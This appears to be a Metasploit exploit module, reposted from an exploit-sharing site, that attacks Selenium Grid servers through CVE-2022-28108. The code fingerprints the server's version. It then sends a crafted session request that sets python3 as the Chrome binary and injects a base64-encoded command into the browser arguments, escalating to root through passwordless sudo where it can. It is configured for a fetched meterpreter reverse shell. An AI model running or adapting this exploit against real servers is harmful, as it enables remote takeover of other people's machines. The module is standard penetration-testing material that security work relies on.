Share
## https://sploitus.com/exploit?id=1337DAY-ID-39856
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Selenium chrome RCE',
        'Description' => %q{
          Selenium Server (Grid) before 4.0.0-alpha-7 allows CSRF because it permits non-JSON content types
          such as application/x-www-form-urlencoded, multipart/form-data, and text/plain.
        },
        'Author' => [
          'randomstuff (Gabriel Corona)', # Exploit development
          'Wiz Research',                 # Vulnerability research
          'Takahiro Yokoyama'             # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-28108'],
          ['URL', 'https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps'],
          ['URL', 'https://www.gabriel.urdhr.fr/2022/02/07/selenium-standalone-server-csrf-dns-rebinding-rce/'],
        ],
        'Payload' => {},
        'Platform' => %w[linux],
        'Targets' => [
          [
            'Linux Command', {
              'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
              'DefaultOptions' => {
                # tested cmd/linux/http/x64/meterpreter_reverse_tcp
                'FETCH_COMMAND' => 'WGET'
              }
            }
          ],
        ],
        'DefaultOptions' => {
          'FETCH_DELETE' => true
        },
        'DefaultTarget' => 0,
        'DisclosureDate' => '2022-04-18',
        'Notes' => {
          'Stability' => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION, ]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(4444),
      ]
    )
  end

  def check
    # Request for Selenium Grid version 4
    v4res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'status')
    })
    return Exploit::CheckCode::Detected('Selenium Grid version 4.x detected.') if v4res && v4res.get_json_document &&
                                                                                  v4res.get_json_document.include?('value') &&
                                                                                  v4res.get_json_document['value'].include?('message') &&
                                                                                  v4res.get_json_document['value']['message'].downcase.include?('selenium grid')

    # Request for Selenium Grid version 3
    v3res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    })
    return Exploit::CheckCode::Unknown('Unexpected server reply.') unless v3res&.code == 200

    js_code = v3res.get_html_document.css('script').find { |script| script.text.match(/var json = Object.freeze\('(.*?)'\);/) }
    return Exploit::CheckCode::Unknown('Unable to determine the version.') unless js_code

    json_str = js_code.text.match(/var json = Object.freeze\('(.*?)'\);/)[1]
    begin
      json_data = JSON.parse(json_str)
    rescue JSON::ParserError
      return Exploit::CheckCode::Unknown('Unable to determine the version.')
    end
    return Exploit::CheckCode::Unknown('Unable to determine the version.') unless json_data && json_data.include?('version') && json_data['version']

    # Extract the version
    version = Rex::Version.new(json_data['version'])
    if version == Rex::Version.new('4.0.0-alpha-7') || Rex::Version.new('4.0.1') <= version
      return Exploit::CheckCode::Safe("Version #{version} detected, which is not vulnerable.")
    end

    CheckCode::Appears("Version #{version} detected, which is vulnerable.")
  end

  def exploit
    b64encoded_payload = Rex::Text.encode_base64(
      "if sudo -n true 2>/dev/null; then\n"\
      "  echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sudo su root -c /bin/bash\n"\
      "else\n"\
      "  #{payload.encoded}\n"\
      "fi\n"
    )

    # Create the request body as a Ruby hash and then convert it to JSON
    body = {
      'capabilities' => {
        'alwaysMatch' => {
          'browserName' => 'chrome',
          'goog:chromeOptions' => {
            'binary' => '/usr/bin/python3',
            'args' => ["-cimport base64,os; bp=b'#{b64encoded_payload}'; os.system(base64.b64decode(bp).decode())"]
          }
        }
      }
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'wd/hub/session'),
      'headers' => { 'Content-Type' => 'text/plain' },
      'data' => body
    })
    fail_with(Failure::Unknown, 'Unexpected server reply.') unless res
  end

end